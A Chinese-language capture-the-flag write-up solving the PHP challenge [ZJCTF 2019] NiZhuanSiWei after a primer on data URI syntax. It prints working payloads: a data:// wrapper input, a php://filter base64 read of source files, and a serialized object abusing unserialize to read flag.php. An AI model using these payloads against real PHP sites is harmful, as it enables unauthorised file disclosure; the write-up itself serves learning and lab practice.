通过这个题来记录几个绕过技巧
题目链接:https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei
相关知识点:
- data协议写入文件
- php协议读取源码
- php序列化
Data URI
Data URI scheme 简称 Data URI,经常会被错误地写成 data URLs。即前缀为data:协议的的URL,其允许内容创建者向文档中嵌入小文件。
语法: data:①[<mime type>]②[;charset=<charset>]③[;<encoding>]④,<encoded data>⑤
①协议头,它标识这个内容为一个 data URI 资源。
②MIME类型,text、image、audio、video、application
③[;charset=<charset>],源文本的字符集编码方式,默认编码是 charset=US-ASCII, 即数据部分的每个字符都会自动编码为 %xx
④ 数据编码方式(默认US-ASCII,BASE64两种)
⑤ 编码后的数据
应用实例
1.在Html的Img对象中使用
<img src="data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF..." />
2.在Css的background-image属性中使用
div.image { 100px; height:100px; background-image:url(data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF...); }
3.在Html的css链接处使用
<link rel="stylesheet" type="text/css" href="data:text/css;base64,LyogKioqKiogVGVtcGxhdGUgKioq..." />
4.在Html的javaScript链接处使用
<script src="data:text/javascript;base64,LyogKioqKiogVGVtcGxhdGUgKioq..." type="text/javascript"></script>
5.data RUI scheme也可以直接在浏览器的地址栏中输入进行访问 ,这道题目就是这种场景下的使用实例。
data:text/html,<html><body><p><b>Hello, world!</b></p></body></html>
data:text/plain;charset=UTF-8;base64,5L2g5aW977yM5Lit5paH77yB
题解
题目上来给了一段源码:
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
首先分析一下,有三个参数是可控的:$text、$file、$password。源码通过一层一层过滤来阻止输出$password。
第一层过滤:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
需要传入参数$text,文件$text的内容必须是 "welcome to the zjctf",这里可以使用data协议来实现。payload如下:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
这里也可以不用base64,使用base64是用来绕过某些过滤。
第二层过滤:
if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }
直接访问useless.php看不到源码,需要想办法看到useless.php的源码,preg_match函数对"/flag/"进行了过滤,说明不能直接将useless.php赋值给$file,这里可以使用filter协议进行读取文件源码,payload如下:
file=php://filter/convert.base64-encode/resource=useless.php
得到一串base64编码,解码之后就是useless.php内容:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
第三层过滤就是对Flag类进行一个序列化,传入参数password就可以了。
<?php class Flag{ //flag.php public $file='flag.php'; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag(); echo serialize($a); ?> //O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终的payload:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}